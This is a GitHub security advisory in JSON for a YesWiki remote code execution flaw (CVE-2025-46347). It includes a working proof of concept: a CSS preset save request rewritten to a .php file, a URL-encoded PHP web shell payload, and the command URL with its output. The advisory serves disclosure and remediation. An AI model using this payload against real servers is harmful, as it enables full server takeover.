{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-29T14:45:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. \n\nAll testing was performed on a local docker setup running the latest version of the application.\n\n### PoC\nProof of Concept\n\nNavigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. \n\n![LookWiki](https://github.com/user-attachments/assets/11c638ec-b700-483a-91fb-2d83107c2c69)\n\n\nAfter clicking save, this request is made (most headers removed for clarity): \n\n```\nPOST /?api/templates/custom-presets/test.css HTTP/1.1\nHost: localhost:8085\n\nprimary-color=%230c5d6a\u0026secondary-color-1=%23d8604c\u0026secondary-color-2=%23d78958\u0026neutral-color=%234e5056\u0026neutral-soft-color=%2357575c\u0026neutral-light-color=%23f2f2f2\u0026main-text-fontsize=17px\u0026main-text-fontfamily=%22Nunito%22%2C+sans-serif\u0026main-title-fontfamily=\u0027Nunito\u0027%2C+sans-serif\n```\n\nThis request writes the file `test.css` to disk with the contents (abbreviated)\n```\n:root {\n  --primary-color: #0c5d6a;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n\nTo exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters. \n\ne.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E`\n\nNow the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present. \n\n\n```\n:root {\n  --primary-color: \u003c?php system($_GET[\u0027cmd\u0027]); ?\u003e;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n\nThen, simply visit the file with a `cmd` parameter included. \n\n```\nhttp://localhost:8085/custom/css-presets/pizzapower.php?cmd=id\n```\n\nAnd the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though). \n\n```\n:root {\n  --primary-color: uid=501(yeswiki) gid=501 groups=501\n;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n![injection](https://github.com/user-attachments/assets/6567d500-23b9-4587-a166-3b49878446e7)\n\n### Impact\n\nFull compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities. \n\n## Fixes\n\nAmongst others: \n\nRestrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.\nHarden server config: Disable PHP execution in user-writable directories",
  "id": "GHSA-88xg-v53p-fpvf",
  "modified": "2025-04-29T14:45:42Z",
  "published": "2025-04-29T14:45:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-88xg-v53p-fpvf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/8fe5275a78dc7e0f9c242baa3cbac6b5ac1cc066"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution"
}